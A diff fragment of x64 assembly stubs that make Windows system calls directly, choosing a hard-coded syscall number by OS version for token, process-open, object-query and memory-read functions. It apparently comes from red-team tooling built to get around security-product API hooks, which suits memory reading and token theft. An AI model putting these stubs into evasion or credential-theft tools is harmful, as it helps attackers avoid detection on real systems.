mov eax, 0x0042
|
||||
jmp NtDuplicateToken_Epilogue
|
||||
NtDuplicateToken_SystemCall_10_0_10586:
|
||||
mov eax, 0x0042
|
||||
jmp NtDuplicateToken_Epilogue
|
||||
NtDuplicateToken_SystemCall_10_0_14393:
|
||||
mov eax, 0x0042
|
||||
jmp NtDuplicateToken_Epilogue
|
||||
NtDuplicateToken_SystemCall_10_0_15063:
|
||||
mov eax, 0x0042
|
||||
jmp NtDuplicateToken_Epilogue
|
||||
NtDuplicateToken_SystemCall_10_0_16299:
|
||||
mov eax, 0x0042
|
||||
jmp NtDuplicateToken_Epilogue
|
||||
NtDuplicateToken_SystemCall_10_0_17134:
|
||||
mov eax, 0x0042
|
||||
jmp NtDuplicateToken_Epilogue
|
||||
NtDuplicateToken_SystemCall_10_0_17763:
|
||||
mov eax, 0x0042
|
||||
jmp NtDuplicateToken_Epilogue
|
||||
NtDuplicateToken_SystemCall_10_0_18362:
|
||||
mov eax, 0x0042
|
||||
jmp NtDuplicateToken_Epilogue
|
||||
NtDuplicateToken_SystemCall_10_0_18363:
|
||||
mov eax, 0x0042
|
||||
jmp NtDuplicateToken_Epilogue
|
||||
NtDuplicateToken_SystemCall_10_0_19041:
|
||||
mov eax, 0x0042
|
||||
jmp NtDuplicateToken_Epilogue
|
||||
NtDuplicateToken_SystemCall_10_0_19042:
|
||||
mov eax, 0x0042
|
||||
jmp NtDuplicateToken_Epilogue
|
||||
NtDuplicateToken_SystemCall_Unknown:
|
||||
ret
|
||||
NtDuplicateToken_Epilogue:
|
||||
mov r10, rcx
|
||||
syscall
|
||||
ret
|
||||
|
||||
|
||||
NtOpenProcess:
|
||||
mov rax, [gs:0x60]
|
||||
NtOpenProcess_Check_X_X_XXXX:
|
||||
cmp dword [rax+0x118], 6
|
||||
je NtOpenProcess_Check_6_X_XXXX
|
||||
cmp dword [rax+0x118], 10
|
||||
je NtOpenProcess_Check_10_0_XXXX
|
||||
jmp NtOpenProcess_SystemCall_Unknown
|
||||
NtOpenProcess_Check_6_X_XXXX:
|
||||
cmp dword [rax+0x11c], 1
|
||||
je NtOpenProcess_Check_6_1_XXXX
|
||||
cmp dword [rax+0x11c], 2
|
||||
je NtOpenProcess_SystemCall_6_2_XXXX
|
||||
cmp dword [rax+0x11c], 3
|
||||
je NtOpenProcess_SystemCall_6_3_XXXX
|
||||
jmp NtOpenProcess_SystemCall_Unknown
|
||||
NtOpenProcess_Check_6_1_XXXX:
|
||||
cmp word [rax+0x120], 7600
|
||||
je NtOpenProcess_SystemCall_6_1_7600
|
||||
cmp word [rax+0x120], 7601
|
||||
je NtOpenProcess_SystemCall_6_1_7601
|
||||
jmp NtOpenProcess_SystemCall_Unknown
|
||||
NtOpenProcess_Check_10_0_XXXX:
|
||||
cmp word [rax+0x120], 10240
|
||||
je NtOpenProcess_SystemCall_10_0_10240
|
||||
cmp word [rax+0x120], 10586
|
||||
je NtOpenProcess_SystemCall_10_0_10586
|
||||
cmp word [rax+0x120], 14393
|
||||
je NtOpenProcess_SystemCall_10_0_14393
|
||||
cmp word [rax+0x120], 15063
|
||||
je NtOpenProcess_SystemCall_10_0_15063
|
||||
cmp word [rax+0x120], 16299
|
||||
je NtOpenProcess_SystemCall_10_0_16299
|
||||
cmp word [rax+0x120], 17134
|
||||
je NtOpenProcess_SystemCall_10_0_17134
|
||||
cmp word [rax+0x120], 17763
|
||||
je NtOpenProcess_SystemCall_10_0_17763
|
||||
cmp word [rax+0x120], 18362
|
||||
je NtOpenProcess_SystemCall_10_0_18362
|
||||
cmp word [rax+0x120], 18363
|
||||
je NtOpenProcess_SystemCall_10_0_18363
|
||||
cmp word [rax+0x120], 19041
|
||||
je NtOpenProcess_SystemCall_10_0_19041
|
||||
cmp word [rax+0x120], 19042
|
||||
je NtOpenProcess_SystemCall_10_0_19042
|
||||
jmp NtOpenProcess_SystemCall_Unknown
|
||||
NtOpenProcess_SystemCall_6_1_7600:
|
||||
mov eax, 0x0023
|
||||
jmp NtOpenProcess_Epilogue
|
||||
NtOpenProcess_SystemCall_6_1_7601:
|
||||
mov eax, 0x0023
|
||||
jmp NtOpenProcess_Epilogue
|
||||
NtOpenProcess_SystemCall_6_2_XXXX:
|
||||
mov eax, 0x0024
|
||||
jmp NtOpenProcess_Epilogue
|
||||
NtOpenProcess_SystemCall_6_3_XXXX:
|
||||
mov eax, 0x0025
|
||||
jmp NtOpenProcess_Epilogue
|
||||
NtOpenProcess_SystemCall_10_0_10240:
|
||||
mov eax, 0x0026
|
||||
jmp NtOpenProcess_Epilogue
|
||||
NtOpenProcess_SystemCall_10_0_10586:
|
||||
mov eax, 0x0026
|
||||
jmp NtOpenProcess_Epilogue
|
||||
NtOpenProcess_SystemCall_10_0_14393:
|
||||
mov eax, 0x0026
|
||||
jmp NtOpenProcess_Epilogue
|
||||
NtOpenProcess_SystemCall_10_0_15063:
|
||||
mov eax, 0x0026
|
||||
jmp NtOpenProcess_Epilogue
|
||||
NtOpenProcess_SystemCall_10_0_16299:
|
||||
mov eax, 0x0026
|
||||
jmp NtOpenProcess_Epilogue
|
||||
NtOpenProcess_SystemCall_10_0_17134:
|
||||
mov eax, 0x0026
|
||||
jmp NtOpenProcess_Epilogue
|
||||
NtOpenProcess_SystemCall_10_0_17763:
|
||||
mov eax, 0x0026
|
||||
jmp NtOpenProcess_Epilogue
|
||||
NtOpenProcess_SystemCall_10_0_18362:
|
||||
mov eax, 0x0026
|
||||
jmp NtOpenProcess_Epilogue
|
||||
NtOpenProcess_SystemCall_10_0_18363:
|
||||
mov eax, 0x0026
|
||||
jmp NtOpenProcess_Epilogue
|
||||
NtOpenProcess_SystemCall_10_0_19041:
|
||||
mov eax, 0x0026
|
||||
jmp NtOpenProcess_Epilogue
|
||||
NtOpenProcess_SystemCall_10_0_19042:
|
||||
mov eax, 0x0026
|
||||
jmp NtOpenProcess_Epilogue
|
||||
NtOpenProcess_SystemCall_Unknown:
|
||||
ret
|
||||
NtOpenProcess_Epilogue:
|
||||
mov r10, rcx
|
||||
syscall
|
||||
ret
|
||||
|
||||
|
||||
NtOpenProcessToken:
|
||||
mov rax, [gs:0x60]
|
||||
NtOpenProcessToken_Check_X_X_XXXX:
|
||||
cmp dword [rax+0x118], 6
|
||||
je NtOpenProcessToken_Check_6_X_XXXX
|
||||
cmp dword [rax+0x118], 10
|
||||
je NtOpenProcessToken_Check_10_0_XXXX
|
||||
jmp NtOpenProcessToken_SystemCall_Unknown
|
||||
NtOpenProcessToken_Check_6_X_XXXX:
|
||||
cmp dword [rax+0x11c], 1
|
||||
je NtOpenProcessToken_Check_6_1_XXXX
|
||||
cmp dword [rax+0x11c], 2
|
||||
je NtOpenProcessToken_SystemCall_6_2_XXXX
|
||||
cmp dword [rax+0x11c], 3
|
||||
je NtOpenProcessToken_SystemCall_6_3_XXXX
|
||||
jmp NtOpenProcessToken_SystemCall_Unknown
|
||||
NtOpenProcessToken_Check_6_1_XXXX:
|
||||
cmp word [rax+0x120], 7600
|
||||
je NtOpenProcessToken_SystemCall_6_1_7600
|
||||
cmp word [rax+0x120], 7601
|
||||
je NtOpenProcessToken_SystemCall_6_1_7601
|
||||
jmp NtOpenProcessToken_SystemCall_Unknown
|
||||
NtOpenProcessToken_Check_10_0_XXXX:
|
||||
cmp word [rax+0x120], 10240
|
||||
je NtOpenProcessToken_SystemCall_10_0_10240
|
||||
cmp word [rax+0x120], 10586
|
||||
je NtOpenProcessToken_SystemCall_10_0_10586
|
||||
cmp word [rax+0x120], 14393
|
||||
je NtOpenProcessToken_SystemCall_10_0_14393
|
||||
cmp word [rax+0x120], 15063
|
||||
je NtOpenProcessToken_SystemCall_10_0_15063
|
||||
cmp word [rax+0x120], 16299
|
||||
je NtOpenProcessToken_SystemCall_10_0_16299
|
||||
cmp word [rax+0x120], 17134
|
||||
je NtOpenProcessToken_SystemCall_10_0_17134
|
||||
cmp word [rax+0x120], 17763
|
||||
je NtOpenProcessToken_SystemCall_10_0_17763
|
||||
cmp word [rax+0x120], 18362
|
||||
je NtOpenProcessToken_SystemCall_10_0_18362
|
||||
cmp word [rax+0x120], 18363
|
||||
je NtOpenProcessToken_SystemCall_10_0_18363
|
||||
cmp word [rax+0x120], 19041
|
||||
je NtOpenProcessToken_SystemCall_10_0_19041
|
||||
cmp word [rax+0x120], 19042
|
||||
je NtOpenProcessToken_SystemCall_10_0_19042
|
||||
jmp NtOpenProcessToken_SystemCall_Unknown
|
||||
NtOpenProcessToken_SystemCall_6_1_7600:
|
||||
mov eax, 0x00f9
|
||||
jmp NtOpenProcessToken_Epilogue
|
||||
NtOpenProcessToken_SystemCall_6_1_7601:
|
||||
mov eax, 0x00f9
|
||||
jmp NtOpenProcessToken_Epilogue
|
||||
NtOpenProcessToken_SystemCall_6_2_XXXX:
|
||||
mov eax, 0x010b
|
||||
jmp NtOpenProcessToken_Epilogue
|
||||
NtOpenProcessToken_SystemCall_6_3_XXXX:
|
||||
mov eax, 0x010e
|
||||
jmp NtOpenProcessToken_Epilogue
|
||||
NtOpenProcessToken_SystemCall_10_0_10240:
|
||||
mov eax, 0x0114
|
||||
jmp NtOpenProcessToken_Epilogue
|
||||
NtOpenProcessToken_SystemCall_10_0_10586:
|
||||
mov eax, 0x0117
|
||||
jmp NtOpenProcessToken_Epilogue
|
||||
NtOpenProcessToken_SystemCall_10_0_14393:
|
||||
mov eax, 0x0119
|
||||
jmp NtOpenProcessToken_Epilogue
|
||||
NtOpenProcessToken_SystemCall_10_0_15063:
|
||||
mov eax, 0x011d
|
||||
jmp NtOpenProcessToken_Epilogue
|
||||
NtOpenProcessToken_SystemCall_10_0_16299:
|
||||
mov eax, 0x011f
|
||||
jmp NtOpenProcessToken_Epilogue
|
||||
NtOpenProcessToken_SystemCall_10_0_17134:
|
||||
mov eax, 0x0121
|
||||
jmp NtOpenProcessToken_Epilogue
|
||||
NtOpenProcessToken_SystemCall_10_0_17763:
|
||||
mov eax, 0x0122
|
||||
jmp NtOpenProcessToken_Epilogue
|
||||
NtOpenProcessToken_SystemCall_10_0_18362:
|
||||
mov eax, 0x0123
|
||||
jmp NtOpenProcessToken_Epilogue
|
||||
NtOpenProcessToken_SystemCall_10_0_18363:
|
||||
mov eax, 0x0123
|
||||
jmp NtOpenProcessToken_Epilogue
|
||||
NtOpenProcessToken_SystemCall_10_0_19041:
|
||||
mov eax, 0x0128
|
||||
jmp NtOpenProcessToken_Epilogue
|
||||
NtOpenProcessToken_SystemCall_10_0_19042:
|
||||
mov eax, 0x0128
|
||||
jmp NtOpenProcessToken_Epilogue
|
||||
NtOpenProcessToken_SystemCall_Unknown:
|
||||
ret
|
||||
NtOpenProcessToken_Epilogue:
|
||||
mov r10, rcx
|
||||
syscall
|
||||
ret
|
||||
|
||||
NtQueryInformationToken:
|
||||
mov rax, [gs:0x60]
|
||||
NtQueryInformationToken_Check_X_X_XXXX:
|
||||
cmp dword [rax+0x118], 6
|
||||
je NtQueryInformationToken_Check_6_X_XXXX
|
||||
cmp dword [rax+0x118], 10
|
||||
je NtQueryInformationToken_Check_10_0_XXXX
|
||||
jmp NtQueryInformationToken_SystemCall_Unknown
|
||||
NtQueryInformationToken_Check_6_X_XXXX:
|
||||
cmp dword [rax+0x11c], 1
|
||||
je NtQueryInformationToken_Check_6_1_XXXX
|
||||
cmp dword [rax+0x11c], 2
|
||||
je NtQueryInformationToken_SystemCall_6_2_XXXX
|
||||
cmp dword [rax+0x11c], 3
|
||||
je NtQueryInformationToken_SystemCall_6_3_XXXX
|
||||
jmp NtQueryInformationToken_SystemCall_Unknown
|
||||
NtQueryInformationToken_Check_6_1_XXXX:
|
||||
cmp word [rax+0x120], 7600
|
||||
je NtQueryInformationToken_SystemCall_6_1_7600
|
||||
cmp word [rax+0x120], 7601
|
||||
je NtQueryInformationToken_SystemCall_6_1_7601
|
||||
jmp NtQueryInformationToken_SystemCall_Unknown
|
||||
NtQueryInformationToken_Check_10_0_XXXX:
|
||||
cmp word [rax+0x120], 10240
|
||||
je NtQueryInformationToken_SystemCall_10_0_10240
|
||||
cmp word [rax+0x120], 10586
|
||||
je NtQueryInformationToken_SystemCall_10_0_10586
|
||||
cmp word [rax+0x120], 14393
|
||||
je NtQueryInformationToken_SystemCall_10_0_14393
|
||||
cmp word [rax+0x120], 15063
|
||||
je NtQueryInformationToken_SystemCall_10_0_15063
|
||||
cmp word [rax+0x120], 16299
|
||||
je NtQueryInformationToken_SystemCall_10_0_16299
|
||||
cmp word [rax+0x120], 17134
|
||||
je NtQueryInformationToken_SystemCall_10_0_17134
|
||||
cmp word [rax+0x120], 17763
|
||||
je NtQueryInformationToken_SystemCall_10_0_17763
|
||||
cmp word [rax+0x120], 18362
|
||||
je NtQueryInformationToken_SystemCall_10_0_18362
|
||||
cmp word [rax+0x120], 18363
|
||||
je NtQueryInformationToken_SystemCall_10_0_18363
|
||||
cmp word [rax+0x120], 19041
|
||||
je NtQueryInformationToken_SystemCall_10_0_19041
|
||||
cmp word [rax+0x120], 19042
|
||||
je NtQueryInformationToken_SystemCall_10_0_19042
|
||||
jmp NtQueryInformationToken_SystemCall_Unknown
|
||||
NtQueryInformationToken_SystemCall_6_1_7600:
|
||||
mov eax, 0x001e
|
||||
jmp NtQueryInformationToken_Epilogue
|
||||
NtQueryInformationToken_SystemCall_6_1_7601:
|
||||
mov eax, 0x001e
|
||||
jmp NtQueryInformationToken_Epilogue
|
||||
NtQueryInformationToken_SystemCall_6_2_XXXX:
|
||||
mov eax, 0x001f
|
||||
jmp NtQueryInformationToken_Epilogue
|
||||
NtQueryInformationToken_SystemCall_6_3_XXXX:
|
||||
mov eax, 0x0020
|
||||
jmp NtQueryInformationToken_Epilogue
|
||||
NtQueryInformationToken_SystemCall_10_0_10240:
|
||||
mov eax, 0x0021
|
||||
jmp NtQueryInformationToken_Epilogue
|
||||
NtQueryInformationToken_SystemCall_10_0_10586:
|
||||
mov eax, 0x0021
|
||||
jmp NtQueryInformationToken_Epilogue
|
||||
NtQueryInformationToken_SystemCall_10_0_14393:
|
||||
mov eax, 0x0021
|
||||
jmp NtQueryInformationToken_Epilogue
|
||||
NtQueryInformationToken_SystemCall_10_0_15063:
|
||||
mov eax, 0x0021
|
||||
jmp NtQueryInformationToken_Epilogue
|
||||
NtQueryInformationToken_SystemCall_10_0_16299:
|
||||
mov eax, 0x0021
|
||||
jmp NtQueryInformationToken_Epilogue
|
||||
NtQueryInformationToken_SystemCall_10_0_17134:
|
||||
mov eax, 0x0021
|
||||
jmp NtQueryInformationToken_Epilogue
|
||||
NtQueryInformationToken_SystemCall_10_0_17763:
|
||||
mov eax, 0x0021
|
||||
jmp NtQueryInformationToken_Epilogue
|
||||
NtQueryInformationToken_SystemCall_10_0_18362:
|
||||
mov eax, 0x0021
|
||||
jmp NtQueryInformationToken_Epilogue
|
||||
NtQueryInformationToken_SystemCall_10_0_18363:
|
||||
mov eax, 0x0021
|
||||
jmp NtQueryInformationToken_Epilogue
|
||||
NtQueryInformationToken_SystemCall_10_0_19041:
|
||||
mov eax, 0x0021
|
||||
jmp NtQueryInformationToken_Epilogue
|
||||
NtQueryInformationToken_SystemCall_10_0_19042:
|
||||
mov eax, 0x0021
|
||||
jmp NtQueryInformationToken_Epilogue
|
||||
NtQueryInformationToken_SystemCall_Unknown:
|
||||
ret
|
||||
NtQueryInformationToken_Epilogue:
|
||||
mov r10, rcx
|
||||
syscall
|
||||
ret
|
||||
|
||||
NtQueryObject:
|
||||
mov rax, [gs:0x60]
|
||||
NtQueryObject_Check_X_X_XXXX:
|
||||
cmp dword [rax+0x118], 6
|
||||
je NtQueryObject_Check_6_X_XXXX
|
||||
cmp dword [rax+0x118], 10
|
||||
je NtQueryObject_Check_10_0_XXXX
|
||||
jmp NtQueryObject_SystemCall_Unknown
|
||||
NtQueryObject_Check_6_X_XXXX:
|
||||
cmp dword [rax+0x11c], 1
|
||||
je NtQueryObject_Check_6_1_XXXX
|
||||
cmp dword [rax+0x11c], 2
|
||||
je NtQueryObject_SystemCall_6_2_XXXX
|
||||
cmp dword [rax+0x11c], 3
|
||||
je NtQueryObject_SystemCall_6_3_XXXX
|
||||
jmp NtQueryObject_SystemCall_Unknown
|
||||
NtQueryObject_Check_6_1_XXXX:
|
||||
cmp word [rax+0x120], 7600
|
||||
je NtQueryObject_SystemCall_6_1_7600
|
||||
cmp word [rax+0x120], 7601
|
||||
je NtQueryObject_SystemCall_6_1_7601
|
||||
jmp NtQueryObject_SystemCall_Unknown
|
||||
NtQueryObject_Check_10_0_XXXX:
|
||||
cmp word [rax+0x120], 10240
|
||||
je NtQueryObject_SystemCall_10_0_10240
|
||||
cmp word [rax+0x120], 10586
|
||||
je NtQueryObject_SystemCall_10_0_10586
|
||||
cmp word [rax+0x120], 14393
|
||||
je NtQueryObject_SystemCall_10_0_14393
|
||||
cmp word [rax+0x120], 15063
|
||||
je NtQueryObject_SystemCall_10_0_15063
|
||||
cmp word [rax+0x120], 16299
|
||||
je NtQueryObject_SystemCall_10_0_16299
|
||||
cmp word [rax+0x120], 17134
|
||||
je NtQueryObject_SystemCall_10_0_17134
|
||||
cmp word [rax+0x120], 17763
|
||||
je NtQueryObject_SystemCall_10_0_17763
|
||||
cmp word [rax+0x120], 18362
|
||||
je NtQueryObject_SystemCall_10_0_18362
|
||||
cmp word [rax+0x120], 18363
|
||||
je NtQueryObject_SystemCall_10_0_18363
|
||||
cmp word [rax+0x120], 19041
|
||||
je NtQueryObject_SystemCall_10_0_19041
|
||||
cmp word [rax+0x120], 19042
|
||||
je NtQueryObject_SystemCall_10_0_19042
|
||||
jmp NtQueryObject_SystemCall_Unknown
|
||||
NtQueryObject_SystemCall_6_1_7600:
|
||||
mov eax, 0x000d
|
||||
jmp NtQueryObject_Epilogue
|
||||
NtQueryObject_SystemCall_6_1_7601:
|
||||
mov eax, 0x000d
|
||||
jmp NtQueryObject_Epilogue
|
||||
NtQueryObject_SystemCall_6_2_XXXX:
|
||||
mov eax, 0x000e
|
||||
jmp NtQueryObject_Epilogue
|
||||
NtQueryObject_SystemCall_6_3_XXXX:
|
||||
mov eax, 0x000f
|
||||
jmp NtQueryObject_Epilogue
|
||||
NtQueryObject_SystemCall_10_0_10240:
|
||||
mov eax, 0x0010
|
||||
jmp NtQueryObject_Epilogue
|
||||
NtQueryObject_SystemCall_10_0_10586:
|
||||
mov eax, 0x0010
|
||||
jmp NtQueryObject_Epilogue
|
||||
NtQueryObject_SystemCall_10_0_14393:
|
||||
mov eax, 0x0010
|
||||
jmp NtQueryObject_Epilogue
|
||||
NtQueryObject_SystemCall_10_0_15063:
|
||||
mov eax, 0x0010
|
||||
jmp NtQueryObject_Epilogue
|
||||
NtQueryObject_SystemCall_10_0_16299:
|
||||
mov eax, 0x0010
|
||||
jmp NtQueryObject_Epilogue
|
||||
NtQueryObject_SystemCall_10_0_17134:
|
||||
mov eax, 0x0010
|
||||
jmp NtQueryObject_Epilogue
|
||||
NtQueryObject_SystemCall_10_0_17763:
|
||||
mov eax, 0x0010
|
||||
jmp NtQueryObject_Epilogue
|
||||
NtQueryObject_SystemCall_10_0_18362:
|
||||
mov eax, 0x0010
|
||||
jmp NtQueryObject_Epilogue
|
||||
NtQueryObject_SystemCall_10_0_18363:
|
||||
mov eax, 0x0010
|
||||
jmp NtQueryObject_Epilogue
|
||||
NtQueryObject_SystemCall_10_0_19041:
|
||||
mov eax, 0x0010
|
||||
jmp NtQueryObject_Epilogue
|
||||
NtQueryObject_SystemCall_10_0_19042:
|
||||
mov eax, 0x0010
|
||||
jmp NtQueryObject_Epilogue
|
||||
NtQueryObject_SystemCall_Unknown:
|
||||
ret
|
||||
NtQueryObject_Epilogue:
|
||||
mov r10, rcx
|
||||
syscall
|
||||
ret
|
||||
|
||||
NtQuerySystemInformation:
|
||||
mov rax, [gs:0x60]
|
||||
NtQuerySystemInformation_Check_X_X_XXXX:
|
||||
cmp dword [rax+0x118], 6
|
||||
je NtQuerySystemInformation_Check_6_X_XXXX
|
||||
cmp dword [rax+0x118], 10
|
||||
je NtQuerySystemInformation_Check_10_0_XXXX
|
||||
jmp NtQuerySystemInformation_SystemCall_Unknown
|
||||
NtQuerySystemInformation_Check_6_X_XXXX:
|
||||
cmp dword [rax+0x11c], 1
|
||||
je NtQuerySystemInformation_Check_6_1_XXXX
|
||||
cmp dword [rax+0x11c], 2
|
||||
je NtQuerySystemInformation_SystemCall_6_2_XXXX
|
||||
cmp dword [rax+0x11c], 3
|
||||
je NtQuerySystemInformation_SystemCall_6_3_XXXX
|
||||
jmp NtQuerySystemInformation_SystemCall_Unknown
|
||||
NtQuerySystemInformation_Check_6_1_XXXX:
|
||||
cmp word [rax+0x120], 7600
|
||||
je NtQuerySystemInformation_SystemCall_6_1_7600
|
||||
cmp word [rax+0x120], 7601
|
||||
je NtQuerySystemInformation_SystemCall_6_1_7601
|
||||
jmp NtQuerySystemInformation_SystemCall_Unknown
|
||||
NtQuerySystemInformation_Check_10_0_XXXX:
|
||||
cmp word [rax+0x120], 10240
|
||||
je NtQuerySystemInformation_SystemCall_10_0_10240
|
||||
cmp word [rax+0x120], 10586
|
||||
je NtQuerySystemInformation_SystemCall_10_0_10586
|
||||
cmp word [rax+0x120], 14393
|
||||
je NtQuerySystemInformation_SystemCall_10_0_14393
|
||||
cmp word [rax+0x120], 15063
|
||||
je NtQuerySystemInformation_SystemCall_10_0_15063
|
||||
cmp word [rax+0x120], 16299
|
||||
je NtQuerySystemInformation_SystemCall_10_0_16299
|
||||
cmp word [rax+0x120], 17134
|
||||
je NtQuerySystemInformation_SystemCall_10_0_17134
|
||||
cmp word [rax+0x120], 17763
|
||||
je NtQuerySystemInformation_SystemCall_10_0_17763
|
||||
cmp word [rax+0x120], 18362
|
||||
je NtQuerySystemInformation_SystemCall_10_0_18362
|
||||
cmp word [rax+0x120], 18363
|
||||
je NtQuerySystemInformation_SystemCall_10_0_18363
|
||||
cmp word [rax+0x120], 19041
|
||||
je NtQuerySystemInformation_SystemCall_10_0_19041
|
||||
cmp word [rax+0x120], 19042
|
||||
je NtQuerySystemInformation_SystemCall_10_0_19042
|
||||
jmp NtQuerySystemInformation_SystemCall_Unknown
|
||||
NtQuerySystemInformation_SystemCall_6_1_7600:
|
||||
mov eax, 0x0033
|
||||
jmp NtQuerySystemInformation_Epilogue
|
||||
NtQuerySystemInformation_SystemCall_6_1_7601:
|
||||
mov eax, 0x0033
|
||||
jmp NtQuerySystemInformation_Epilogue
|
||||
NtQuerySystemInformation_SystemCall_6_2_XXXX:
|
||||
mov eax, 0x0034
|
||||
jmp NtQuerySystemInformation_Epilogue
|
||||
NtQuerySystemInformation_SystemCall_6_3_XXXX:
|
||||
mov eax, 0x0035
|
||||
jmp NtQuerySystemInformation_Epilogue
|
||||
NtQuerySystemInformation_SystemCall_10_0_10240:
|
||||
mov eax, 0x0036
|
||||
jmp NtQuerySystemInformation_Epilogue
|
||||
NtQuerySystemInformation_SystemCall_10_0_10586:
|
||||
mov eax, 0x0036
|
||||
jmp NtQuerySystemInformation_Epilogue
|
||||
NtQuerySystemInformation_SystemCall_10_0_14393:
|
||||
mov eax, 0x0036
|
||||
jmp NtQuerySystemInformation_Epilogue
|
||||
NtQuerySystemInformation_SystemCall_10_0_15063:
|
||||
mov eax, 0x0036
|
||||
jmp NtQuerySystemInformation_Epilogue
|
||||
NtQuerySystemInformation_SystemCall_10_0_16299:
|
||||
mov eax, 0x0036
|
||||
jmp NtQuerySystemInformation_Epilogue
|
||||
NtQuerySystemInformation_SystemCall_10_0_17134:
|
||||
mov eax, 0x0036
|
||||
jmp NtQuerySystemInformation_Epilogue
|
||||
NtQuerySystemInformation_SystemCall_10_0_17763:
|
||||
mov eax, 0x0036
|
||||
jmp NtQuerySystemInformation_Epilogue
|
||||
NtQuerySystemInformation_SystemCall_10_0_18362:
|
||||
mov eax, 0x0036
|
||||
jmp NtQuerySystemInformation_Epilogue
|
||||
NtQuerySystemInformation_SystemCall_10_0_18363:
|
||||
mov eax, 0x0036
|
||||
jmp NtQuerySystemInformation_Epilogue
|
||||
NtQuerySystemInformation_SystemCall_10_0_19041:
|
||||
mov eax, 0x0036
|
||||
jmp NtQuerySystemInformation_Epilogue
|
||||
NtQuerySystemInformation_SystemCall_10_0_19042:
|
||||
mov eax, 0x0036
|
||||
jmp NtQuerySystemInformation_Epilogue
|
||||
NtQuerySystemInformation_SystemCall_Unknown:
|
||||
ret
|
||||
NtQuerySystemInformation_Epilogue:
|
||||
mov r10, rcx
|
||||
syscall
|
||||
ret
|
||||
|
||||
NtReadVirtualMemory:
|
||||
mov rax, [gs:0x60]
|
||||
NtReadVirtualMemory_Check_X_X_XXXX:
|
||||
cmp dword [rax+0x118], 6
|
||||
je NtReadVirtualMemory_Check_6_X_XXXX
|
||||
cmp dword [rax+0x118], 10
|
||||
je NtReadVirtualMemory_Check_10_0_XXXX
|
||||
jmp NtReadVirtualMemory_SystemCall_Unknown
|
||||
NtReadVirtualMemory_Check_6_X_XXXX:
|
||||
cmp dword [rax+0x11c], 1
|
||||
je NtReadVirtualMemory_Check_6_1_XXXX
|
||||
cmp dword [rax+0x11c], 2
|
||||
je NtReadVirtualMemory_SystemCall_6_2_XXXX
|
||||
cmp dword [rax+0x11c], 3
|
||||
je NtReadVirtualMemory_SystemCall_6_3_XXXX
|
||||
jmp NtReadVirtualMemory_SystemCall_Unknown
|
||||
NtReadVirtualMemory_Check_6_1_XXXX:
|
||||
cmp word [rax+0x120], 7600
|
||||
je NtReadVirtualMemory_SystemCall_6_1_7600
|
||||
cmp word [rax+0x120], 7601
|
||||
je NtReadVirtualMemory_SystemCall_6_1_7601
|
||||
jmp NtReadVirtualMemory_SystemCall_Unknown
|
||||
NtReadVirtualMemory_Check_10_0_XXXX:
|
||||
cmp word [rax+0x120], 10240
|
||||
je NtReadVirtualMemory_SystemCall_10_0_10240
|
||||
cmp word [rax+0x120], 10586
|
||||
je NtReadVirtualMemory_SystemCall_10_0_10586
|
||||
cmp word [rax+0x120], 14393
|
||||
je NtReadVirtualMemory_SystemCall_10_0_14393
|
||||
cmp word [rax+0x120], 15063
|
||||
je NtReadVirtualMemory_SystemCall_10_0_15063
|
||||
cmp word [rax+0x120], 16299
|
||||
je NtReadVirtualMemory_SystemCall_10_0_16299
|
||||
cmp word [rax+0x120], 17134
|
||||
je NtReadVirtualMemory_SystemCall_10_0_17134
|
||||
cmp word [rax+0x120], 17763
|
||||
je NtReadVirtualMemory_SystemCall_10_0_17763
|
||||
cmp word [rax+0x120], 18362
|
||||
je NtReadVirtualMemory_SystemCall_10_0_18362
|
||||
cmp word [rax+0x120], 18363
|
||||
je NtReadVirtualMemory_SystemCall_10_0_18363
|
||||
cmp word [rax+0x120], 19041
|
||||
je NtReadVirtualMemory_SystemCall_10_0_19041
|
||||
cmp word [rax+0x120], 19042
|
||||
je NtReadVirtualMemory_SystemCall_10_0_19042
|
||||
jmp NtReadVirtualMemory_SystemCall_Unknown
|
||||
NtReadVirtualMemory_SystemCall_6_1_7600:
|
||||
mov eax, 0x003c
|
||||
jmp NtReadVirtualMemory_Epilogue
|
||||
NtReadVirtualMemory_SystemCall_6_1_7601:
|
||||
mov eax, 0x003c
|
||||
jmp NtReadVirtualMemory_Epilogue
|
||||
NtReadVirtualMemory_SystemCall_6_2_XXXX:
|
||||
mov eax, 0x003d
|
||||
jmp NtReadVirtualMemory_Epilogue
|
||||
NtReadVirtualMemory_SystemCall_6_3_XXXX:
|
||||
mov eax, 0x003e
|
||||
jmp NtReadVirtualMemory_Epilogue
|
||||
NtReadVirtualMemory_SystemCall_10_0_10240:
|
||||
mov eax, 0x003f
|
||||
jmp NtReadVirtualMemory_Epilogue
|
||||
NtReadVirtualMemory_SystemCall_10_0_10586:
|
||||
mov eax, 0x003f
|
||||
jmp NtReadVirtualMemory_Epilogue
|
||||
NtReadVirtualMemory_SystemCall_10_0_14393:
|
||||
mov eax, 0x003f
|
||||
jmp NtReadVirtualMemory_Epilogue
|
||||
NtReadVirtualMemory_SystemCall_10_0_15063:
|
||||
mov eax, 0x003f
|
||||
jmp NtReadVirtualMemory_Epilogue
|
||||
NtReadVirtualMemory_SystemCall_10_0_16299:
|
||||
mov eax, 0x003f
|
||||
jmp NtReadVirtualMemory_Epilogue
|
||||
NtReadVirtualMemory_SystemCall_10_0_17134:
|
||||
mov eax, 0x003f
|
||||
jmp NtReadVirtualMemory_Epilogue
|
||||
NtReadVirtualMemory_SystemCall_10_0_17763:
|
||||
mov eax, 0x003f
|
||||
jmp NtReadVirtualMemory_Epilogue
|
||||
NtReadVirtualMemory_SystemCall_10_0_18362:
|
||||
mov eax, 0x003f
|
||||
jmp NtReadVirtualMemory_Epilogue
|
||||
NtReadVirtualMemory_SystemCall_10_0_18363:
|
||||
mov eax, 0x003f
|
||||
jmp NtReadVirtualMemory_Epilogue
|
||||
NtReadVirtualMemory_SystemCall_10_0_19041:
|
||||
mov eax, 0x003f
|
||||
jmp NtReadVirtualMemory_Epilogue
|
||||
NtReadVirtualMemory_SystemCall_10_0_19042:
|
||||
mov eax, 0x003f
|
||||
jmp NtReadVirtualMemory_Epilogue
|
||||
NtReadVirtualMemory_SystemCall_Unknown:
|
||||
ret
|
||||
NtReadVirtualMemory_Epilogue:
|
||||
mov r10, rcx
|
||||
syscall
|
||||
ret
|
||||
@@ -0,0 +1,59 @@
|
||||
#pragma once
|
||||
|
||||
EXTERN_C LPVOID GetTEBAsm64();
|
||||
|
||||
EXTERN_C NTSTATUS NtOpenProcess(
|
||||
OUT PHANDLE ProcessHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
